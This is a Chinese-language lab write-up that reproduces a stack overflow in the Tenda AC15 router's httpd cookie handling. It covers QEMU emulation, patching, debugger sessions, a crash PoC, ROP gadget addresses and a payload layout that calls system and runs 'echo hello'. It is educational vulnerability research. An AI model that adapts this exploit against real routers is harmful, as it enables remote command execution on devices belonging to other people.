学习目标:
- 可以知道IoT固件仿真的基础方法及排错思路
- 可以知道对ARM架构栈溢出漏洞的利用和调试方法
相关链接:
https://www.freebuf.com/articles/wireless/166869.html
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://www.anquanke.com/post/id/204326
https://www.cnblogs.com/ming-michelle/p/14105791.html#autoid-14-4-0
https://blog.csdn.net/song_lee/article/details/104334096
Tenda固件的下载地址:
https://www.tenda.com.cn/download/cata-11.html
复现过程:
一、环境配置
安装 qemu 和 arm 的动态链接库
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd
排除错误:根据打印的字符串信息
“/bin/sh: can’t create /proc/sys/kernel/core_pattern: nonexistent directory”
创建相应目录mkdir -p ./proc/sys/kernel
安装 windbg
git init
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo #./setup.sh
能 git 在线安装的一定要在线安装,不要去下载 gitee 上的包,很多细节问题
碰到的几个环境问题,记录一下
gdb - pwndbg 里运行命令缺少 checksec、cyclic 等,报错
pwndbg> checksec
Exception occurred: checksec: Could not find command(s) checksec, pwn in $PATH (<class 'OSError'>)
For more info invoke `set exception-verbose on` and rerun the command
or debug it by yourself with `set exception-debugger on`
解决方案:pip install pwntools
ROPgadget 无法运行,报错缺少 capstone
ROPgadget
Traceback (most recent call last):
File "/usr/local/bin/ROPgadget", line 10, in <module>
import ropgadget
File "/usr/local/lib/python2.7/dist-packages/ropgadget/__init__.py", line 10, in <module>
import ropgadget.binary
File "/usr/local/lib/python2.7/dist-packages/ropgadget/binary.py", line 11, in <module>
from ropgadget.loaders.elf import *
File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/__init__.py", line 9, in <module>
import ropgadget.loaders.elf
File "/usr/local/lib/python2.7/dist-packages/ropgadget/loaders/elf.py", line 11, in <module>
from capstone import *
ImportError: No module named capstone
解决方案,源码级别安装 capstone
pypi 上搜索 capstone,下载 gz 源码
https://pypi.org/project/capstone/#files
python setup.py build
python setup.py install
二、文件 patch
用 zip 命令将目录打包成压缩包
sudo zip -r -q -o pack.zip squashfs-root
把 /bin/httpd 拖入 IDA(32位)中,查看 Strings,搜索 WeLoveLinux,定位到函数 int __fastcall sub_2E420(int a1, int a2)
init_core_dump(v2);
v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
sub_30A5C(v3);
while ( check_network(v21) <= 0 )
sleep(1u);
所以在模拟环境下,由于 check_network 出错,就一直 sleep了
readelf -s ./lib/libc.so.0 | grep system
433: 0005a270 348 FUNC WEAK DEFAULT 7 system
904: 00047b38 80 FUNC GLOBAL DEFAULT 7 svcerr_systemerr
1394: 0005a270 348 FUNC GLOBAL DEFAULT 7 __libc_system
netstat -atpn|grep 80
sudo lsof -i:80
此处我们对程序进行patch,将其中的比较的指令MOV R3, R0修改为MOV R3, 1,从而强制让程序进入右侧分支
借用 rasm2 工具翻译汇编指令到机器指令
rasm2 -a arm "mov r3, r0"
0030a0e1
asm2 -a arm "mov r3, 1"
0130a0e3
一开始也就怀疑,为什么这里的偏移不一样,因为下错了 bin,下了版本号更高的之后复现不出来才发现这里有问题
跟链接里的偏移是一样的
F5 之后发现,跳过判断
init_core_dump(v2);
v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
sub_30A5C(v3);
check_network(v21);
v4 = sleep(1u);
if ( ConnectCfm(v4) )
{
在 ConnectCfm(v4) 也有相同的问题,同样patch
init_core_dump(v2);
v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ...");
sub_30A5C(v3);
check_network(v21);
v4 = sleep(1u);
ConnectCfm(v4);
sub_103D0(0, 61440, 1);
memset(s, 0, sizeof(s));
把 httpd 替换一下,并更新上去
sudo mv ./bin/httpd ./bin/httpd_init
sudo mv ~/Desktop/httpd ./bin/httpd
ls -al ./bin | grep http
这个时候再运行命令,成了这样
sudo chroot ./ ./qemu-arm-static ./bin/httpd
[sudo] password for kali:
init_core_dump 1816: rlim_cur = 0, rlim_max = -1
init_core_dump 1825: open core dump success
init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
Yes:
****** WeLoveLinux******
Welcome to ...
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
create socket fail -1
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
sh: can't create /proc/sys/net/ipv4/tcp_timestamps: nonexistent directory
[httpd][debug]----------------------------webs.c,157
httpd listen ip = 255.255.255.255 port = 80
webs: Listening for HTTP requests at address 244.6.128.64
发现 IP 和 port 不对,需要我们修改到本地网卡来
配置网络,建立一个虚拟网桥 br0,再次运行程序
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo ifconfig br0 up
sudo dhclient br0
sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens33
sudo ifconfig br0 up
sudo dhclient br0
sudo chroot ./ ./qemu-arm-static ./bin/httpd
此时,IP为本机的地址,实验环境就配好了
检验环境是不是配置好了,访问:http://192.168.123.141/goform/getProduct
三、漏洞复现
开启调试运行程序,并另开终端用 gdb 远程连接调试
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
sudo gdb-multiarch ./bin/httpd
target remote :1234
c
高版本是报错的
/build/gdb-yyhBNJ/gdb-10.1/gdb/i387-tdep.c:952: internal-error: void i387_supply_xsave(regcache*, int, const void*): Assertion `tdep->st0_regnum >= I386_ST0_REGNUM' failed.
有问题的版本是这样的
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bin/httpd...
(No debugging symbols found in ./bin/httpd)
(gdb) target remote :1234
Remote debugging using :1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
Reading symbols from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0...
(No debugging symbols found in /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0)
0x3fff2930 in _start () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
(gdb) c
Continuing.
b *0x2D7E4 # 函数开始的位置
b *0x2DD44
b *0x02ED18 # 函数结束的位置
detach
poc为:
import requests
url = "http://192.168.123.141/goform/xxx"
cookie = {"Cookie":"password="+"A"*1000}
requests.get(url=url, cookies=cookie)
运行完 poc 之后,报错是这样的
Program received signal SIGSEGV, Segmentation fault.
0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
(gdb) bt
#0 0x3fe23954 in strstr () from /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
#1 0x0002c5cc in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
需要用 windbg
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x3fe23954 in strstr () from /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
*R0 0x41414141 ('AAAA')
*R1 0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
*R2 0xb36dc ◂— rsbsvc r7, r4, r8, ror #8 /* 0x70747468; 'http://' */
*R3 0x41414141 ('AAAA')
*R4 0x68
*R5 0xed440 ◂— strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/xxx' */
*R6 0x1
*R7 0x40800888 ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */
*R8 0xd938 (_init) ◂— mov ip, sp /* 0xe1a0c00d */
*R9 0x2cea8 ◂— push {r4, fp, lr} /* 0xe92d4810 */
*R10 0x408006f8 ◂— 0
*R11 0x407ff7e4 —▸ 0x2ec88 (R7WebsSecurityHandler+5284) ◂— mov r3, #0 /* 0xe3a03000 */
*R12 0xd26c8 (strstr@got.plt) —▸ 0x3fe2393c (strstr) ◂— push {r4, lr} /* 0xe92d4010 */
*SP 0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
*PC 0x3fe23954 (strstr+24) ◂— ldrb ip, [r3] /* 0xe5d3c000 */
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
► 0x3fe23954 <strstr+24> ldrb ip, [r3] <0xd26c8>
0x3fe23958 <strstr+28> cmp r4, ip
0x3fe2395c <strstr+32> addeq r2, r2, #1
0x3fe23960 <strstr+36> addeq r3, r3, #1
0x3fe23964 <strstr+40> beq #strstr+12 <strstr+12>
↓
0x3fe23948 <strstr+12> ldrb r4, [r2]
0x3fe2394c <strstr+16> cmp r4, #0
0x3fe23950 <strstr+20> popeq {r4, pc}
0x3fe23954 <strstr+24> ldrb ip, [r3] <0xd26c8>
0x3fe23958 <strstr+28> cmp r4, ip
0x3fe2395c <strstr+32> addeq r2, r2, #1
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp 0x407ff7a8 —▸ 0xd23ac —▸ 0xd226c ◂— 1
01:0004│ 0x407ff7ac —▸ 0x2c5cc ◂— mov r3, r0 /* 0xe1a03000 */
02:0008│ 0x407ff7b0 ◂— 0
03:000c│ 0x407ff7b4 ◂— 0
04:0010│ 0x407ff7b8 ◂— 1
05:0014│ 0x407ff7bc —▸ 0xe1dbc (g_Pass) ◂— 0
06:0018│ 0x407ff7c0 ◂— 0x41414141 ('AAAA')
07:001c│ 0x407ff7c4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— ldrbtvc r6, [r3], #-0xf68 /* 0x74736f68; 'host' */
──────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► f 0 0x3fe23954 strstr+24
接下来就是寻找漏洞点:一般情况 就是找关键函数
如果是堆:malloc free 看是否造成了 doublefree fastbin attack UAF off by one...
栈:memorycopy strcpy scanf sprintf gets这种 内存拷贝//内存获取时候的函数
如果用snscanf就不会 出现这个情况
漏洞点位于函数里:int __fastcall R7WebsSecurityHandler(int a1, int a2, int a3, int a4, char *s1)
if ( *(_DWORD *)(a1 + 184) )
{
v41 = strstr(*(const char **)(a1 + 184), "password=");
if ( v41 )
sscanf(v41, "%*[^=]=%[^;];*", v34);
else
sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
}
if ( strlen(s) <= 3
|| (v43 = strchr(s, 46)) == 0
|| (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
&& memcmp(v43, "png", 3u)
&& memcmp(v43, "js", 2u)
&& memcmp(v43, "css", 3u)
&& memcmp(v43, "jpg", 3u)
&& memcmp(v43, "jpeg", 3u) )
概述:把 password 的等号后面的值,赋值给到了一个固定大小的空间上,即
buf 的大小是 0x1C0
分析后得知,程序首先找到“password=”字符串的位置,通过sscanf函数解析从“=”号到“;”号中间的内容写入v34。这里没有对用户可控的输入进行过滤,从而有机会覆盖堆栈劫持程序流。
我们需要保证请求的url路径不会导致if语句为false,比如“/goform/xxx”就行
出错的地方并不是函数返回处,而是一个 "从不存在的地址取值" 造成的报错,目前就只能造成拒绝服务,而不能执行命令
根据出错的位置
─────────────────────────[ DISASM ]──────────────────────────
Invalid address 0x6561616c
pwndbg> bt
#0 0x6561616c in ?? ()
#1 0x0002ddf8 in R7WebsSecurityHandler ()
Backtrace stopped: Cannot access memory at address 0x6561616c
Q & A?WHY?
崩溃的返回地址显示是 0x6561616c(laae)
我们还需要观察 CPSR 寄存器的 T 位进行判断,CPSR 寄存器的标志位如下图所示
这里涉及到 ARM 模式( LSB = 0)和 Thumb 模式( LSB = 1)的切换,栈上内容弹出到 PC 寄存器时,其最低有效位(LSB)将被写入 SPSR 寄存器的 T 位,而 PC 本身的 LSB 被设置为 0
此时在 gdb 中执行
pwndbg> p/t $cpsr
$1 = 1100000000000000000000000110000
以二进制形式显示 CPSR 寄存器,发现 T 位值为 1,因此需要在之前报错的地址上加一还原为 0x6561616f("maae")
用 checksec 发现程序开启了 NX 保护,无法直接执行栈中的 shellcode,使用 ROP 来绕过 NX
ROP需要以下信息:
1)system 函数地址写入某寄存器的 gadget
2)往 R0 寄存器存入内容(即 system 函数的参数),并跳转到 system 函数地址的 gadget
3)libc.so 的基地址
4)system 函数在 libc 的偏移地址
pwndbg> cyclic -l maae
448
┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root]
└─# ps -ef | grep "httpd" | grep "1235"
root 2783 2419 0 21:43 pts/1 00:00:00 sudo chroot ./ ./qemu-arm-static -g 1235 ./bin/httpd
root 2784 2783 0 21:43 pts/1 00:00:00 ./qemu-arm-static -g 1235 ./bin/httpd
┌──(root@kali)-[~/…/Tenda/AC15/_AC15.bin.extracted/squashfs-root]
└─# sudo cat /proc/2784/maps | grep "libc"
43418000-4347d000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
43485000-43486000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
43486000-43487000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
435d5000-435e7000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
435ef000-435f0000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
43625000-4362a000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
43631000-43632000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
43632000-43633000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
ps -ef | grep "httpd" | grep "1234"
root 1762 1552 0 02:34 pts/2 00:00:00 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
root 1763 1762 0 02:34 pts/2 00:00:00 ./qemu-arm-static -g 1234 ./bin/httpd
sudo cat /proc/1510/maps | grep "libc"
42573000-425d8000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
425e0000-425e1000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
425e1000-425e2000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
42730000-42742000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
4274a000-4274b000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
42780000-42785000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
4278c000-4278d000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
4278d000-4278e000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
sudo cat /proc/2036/maps | grep "libc"
41c1a000-41c7f000 r--p 00000000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
41c87000-41c88000 r--p 00065000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
41c88000-41c89000 rw-p 00066000 08:01 2901237 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
41dd7000-41de9000 r--p 00000000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
41df1000-41df2000 rw-p 00012000 08:01 2901238 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
41e27000-41e2c000 r--p 00000000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
41e33000-41e34000 r--p 00004000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
41e34000-41e35000 rw-p 00005000 08:01 2901228 /root/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
ubuntu@ubuntu:~/Desktop/Tenda/AC15$ sudo cat /proc/4523/maps | grep "libc"
7ffff6d5d000-7ffff6dc2000 r-xp 00000000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
7ffff6dca000-7ffff6dcb000 r--p 00065000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
7ffff6dcb000-7ffff6dcc000 rw-p 00066000 08:01 2906459 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libc.so.0
7ffff6f1a000-7ffff6f2c000 r-xp 00000000 08:01 2906460 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
7ffff6f34000-7ffff6f35000 rw-p 00012000 08:01 2906460 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/libcommon.so
7ffff6f69000-7ffff6f6e000 r-xp 00000000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
7ffff6f75000-7ffff6f76000 r--p 00004000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
7ffff6f76000-7ffff6f77000 rw-p 00005000 08:01 2906438 /home/ubuntu/Desktop/Tenda/AC15/_US_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
libc 基址为:42826000
为了调试的方便,把地址随机化关掉
cat /proc/sys/kernel/randomize_va_space
2
echo 0 >/proc/sys/kernel/randomize_va_space
41c1a000 - 20000 = 41bfa000
Libc=0x409c7000
但是此处有个坑,libc的地址并不正确,rop链会跳到错误的地方,
看一下puts函数的地址
Puts在libc中的地址
那么libc=409dccd4-35cd4=409A7000
根据 wp,我的基址就是 42826000 - 20000 = 42806000
42300000 - 20000 = 422e0000
接下来寻找 gadget
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3 ; mov r0, r4 ; add sp, sp, #0x18 ; pop {r4, r5, r6, pc}
上述指令会将栈顶写入 R0,并跳转到 R3 寄存器中的地址
因此需要再找一条可以写 R3 的指令即可
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00033e48 : pop {r0, r1, r2, r3, r4, pc}
0x00019744 : pop {r0, r1, r2, r3, r4, r5, r6, pc}
0x0002f354 : pop {r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}
0x0003224c : pop {r0, r1, r2, r3, r4, r5, r7, pc}
0x00015f0c : pop {r1, r2, r3, pc}
0x00016654 : pop {r1, r2, r3, r4, r5, pc}
0x00014e40 : pop {r1, r2, r3, r4, r5, r6, r7, pc}
0x0001e958 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00016c04 : pop {r1, r2, r3, r4, r5, r6, r7, r8, sl, pc}
0x000169a0 : pop {r2, r3, r4, pc}
0x00041244 : pop {r2, r3, r4, r5, r6, pc}
0x0001a198 : pop {r2, r3, r4, r5, r6, r7, r8, pc}
0x00024870 : pop {r2, r3, r4, r5, r6, r7, r8, sb, sl, pc}
0x00016ae8 : pop {r2, r3, r4, r5, r7, pc}
0x00018298 : pop {r3, pc}
0x0001719c : pop {r3, r4, r5, pc}
0x00015d40 : pop {r3, r4, r5, r6, r7, pc}
0x00017420 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0001eed4 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x000153c8 : pop {r3, r4, r7, pc}
0x000153c8 : pop {r3, r4, r7, pc} ; pop {r3, r4, r7, pc}
最终 payload 的格式:[ offset, gadget1, system_addr, gadget2, cmd]
其执行流程为:
1)溢出处函数返回跳转到第一个 gadget1:pop {r3, pc}
2)栈顶第一个元素 system 弹出到 R3 寄存器,第二个元素 gadget2:mov r0, sp; blx r3 弹出到 PC,使程序流执行到 gadget2
3)此时的栈顶内容 cmd 放入 R0 寄存器,并使得程序跳转到 R3 寄存器指向的地址去执行
TypeError: startswith first arg must be bytes or a tuple of bytes, not str
可以发现,这里的偏移是错了一位的
报错:QEMU target detected - vmmap result might not be accurate; see `help vmmap`]
pwndbg> info sharedlibrary
From To Syms Read Shared Object Library
0x3fff2930 0x3fff5e90 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
0x3ffc0fc8 0x3ffca998 Yes /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libCfm.so
0x3ffa4ad4 0x3ffb2274 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libcommon.so
0x3ff93388 0x3ff977cc Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libChipApi.so
0x3ff86c40 0x3ff87e68 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libvos_util.so
0x3ff69548 0x3ff7a22c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libz.so
0x3ff511e8 0x3ff5751c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libpthread.so.0
0x3ff435dc 0x3ff43928 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libnvram.so
0x3ff2ef9c 0x3ff36ad8 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libshared.so
0x3fe8f1b4 0x3fecf0a0 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libtpi.so
0x3fe6f31c 0x3fe7bcf8 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libm.so.0
0x3fe5c7b0 0x3fe6354c Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x3fdf9990 0x3fe40904 Yes (*) /home/kali/Desktop/Tenda/AC15/_AC15.bin.extracted/squashfs-root/lib/libc.so.0
的单步调试过程如下:
b *0x2ddf4
漏洞位于
if ( *(_DWORD *)(a1 + 184) )
{
v41 = strstr(*(const char **)(a1 + 184), "password=");
if ( v41 )
sscanf(v41, "%*[^=]=%[^;];*", v34);
else
sscanf(*(const char **)(a1 + 184), "%*[^=]=%[^;];*", v34);
}
根据 httpd 中函数 R7WebsSecurityHandler 源码第 94 - 102 行
if ( strlen(s) <= 3
|| (v43 = strchr(s, 46)) == 0
|| (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
&& memcmp(v43, "png", 3u)
&& memcmp(v43, "js", 2u)
&& memcmp(v43, "css", 3u)
&& memcmp(v43, "jpg", 3u)
&& memcmp(v43, "jpeg", 3u) )
{
……
}
先分析代码处
0x2ed10 <R7WebsSecurityHandler+5420> mov r0, r3
0x2ed14 <R7WebsSecurityHandler+5424> sub sp, fp, #0x10
► 0x2ed18 <R7WebsSecurityHandler+5428> pop {r4, r5, r6, fp, pc} <0x2ed18>
这里就已经是函数 R7WebsSecurityHandler 的结尾了,之后就会跳转到我们控制的区域,先观察此时的几个寄存器
pwndbg> i r
r0 0x0 0
r1 0xb3cf7 736503
r2 0x67 103
r3 0x0 0
r4 0xd23ac 861100
r5 0xed440 971840
r6 0x1 1
r7 0x40800882 1082132610
r8 0xd938 55608
r9 0x2cea8 183976
r10 0x408006e8 1082132200
r11 0x407ffc9c 1082129564
r12 0x407ffc9b 1082129563
sp 0x407ffc8c 0x407ffc8c
lr 0x2ddf8 187896
pc 0x2ed18 0x2ed18 <R7WebsSecurityHandler+5428>
pwndbg> stack 10
00:0000│ sp 0x407ffc8c ◂— 0x41414141 ('AAAA')
... ↓ 2 skipped
03:000c│ r12-3 0x407ffc98 ◂— strbvs r7, [lr, -lr, lsr #32]! /* 0x676e702e */
04:0010│ r11 0x407ffc9c —▸ 0x3fdfd298 (wait+24) ◂— pop {r3, pc} /* 0xe8bd8008 */
05:0014│ 0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr r3, [pc, #0x144] /* 0xe59f3144 */
06:0018│ 0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov r0, sp /* 0xe1a0000d; '\r' */
07:001c│ 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
08:0020│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
09:0024│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
用 si 命令往后走一步
──────────────────────────────────────[ DISASM ]──────────────────────────────────────
► 0x3fdfd298 <wait+24> pop {r3, pc} <0x3fdfd298>
──────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ sp 0x407ffca0 —▸ 0x3fe3f270 (system) ◂— ldr r3, [pc, #0x144] /* 0xe59f3144 */
01:0004│ 0x407ffca4 —▸ 0x3fe25cb8 (authnone_create+192) ◂— mov r0, sp /* 0xe1a0000d; '\r' */
02:0008│ 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
03:000c│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
04:0010│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
05:0014│ 0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
06:0018│ 0x407ffcb8 ◂— 0
07:001c│ 0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push {r4, r5, r6, fp, lr} /* 0xe92d4870 */
继续 si
──────────────────────────────────────[ DISASM ]──────────────────────────────────────
► 0x3fe25cb8 <authnone_create+192> mov r0, sp
0x3fe25cbc <authnone_create+196> blx r3
──────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ sp 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
01:0004│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
02:0008│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
03:000c│ 0x407ffcb4 —▸ 0xef5f0 —▸ 0xef6f8 ◂— strbvs r6, [r3, #-0x361]! /* 0x65636361; 'accept-encoding' */
04:0010│ 0x407ffcb8 ◂— 0
05:0014│ 0x407ffcbc —▸ 0xe90f8 —▸ 0x2d7e4 (R7WebsSecurityHandler) ◂— push {r4, r5, r6, fp, lr} /* 0xe92d4870 */
06:0018│ 0x407ffcc0 ◂— 0
07:001c│ 0x407ffcc4 ◂— 0
继续 si
──────────────────────────────────────[ DISASM ]──────────────────────────────────────
0x3fe25cb8 <authnone_create+192> mov r0, sp
► 0x3fe25cbc <authnone_create+196> blx r3 <system>
command: 0x407ffca8 ◂— 'echo hello'
──────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ r0 sp 0x407ffca8 ◂— svcvs #0x686365 /* 0x6f686365; 'echo hello' */
01:0004│ 0x407ffcac ◂— stclvs p8, c6, [r5], #-0x80 /* 0x6c656820; ' hello' */
02:0008│ 0x407ffcb0 —▸ 0x40006f6c ◂— 0
继续 si
──────────────────────────────────────[ DISASM ]──────────────────────────────────────
► 0x3fe3f270 <system> ldr r3, [pc, #0x144] <0x3fe3f270>
0x3fe3f274 <system+4> cmp r0, #0
0x3fe3f278 <system+8> push {r4, lr}
0x3fe3f27c <system+12> sub sp, sp, #0x28
0x3fe3f280 <system+16> str r0, [sp, #0x1c]
0x3fe3f284 <system+20> add r3, pc, r3
0x3fe3f288 <system+24> str r3, [sp, #0xc]
0x3fe3f28c <system+28> beq #system+320 <system+320>
可见,执行 poc2 脚本后,设备端输出了 "hello" 字符串,可以任意命令执行。
附件内文件说明:
US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar为官网提供的固件
poc为相关链接中下载的poc,其中poc2为自己修改尝试成功的版本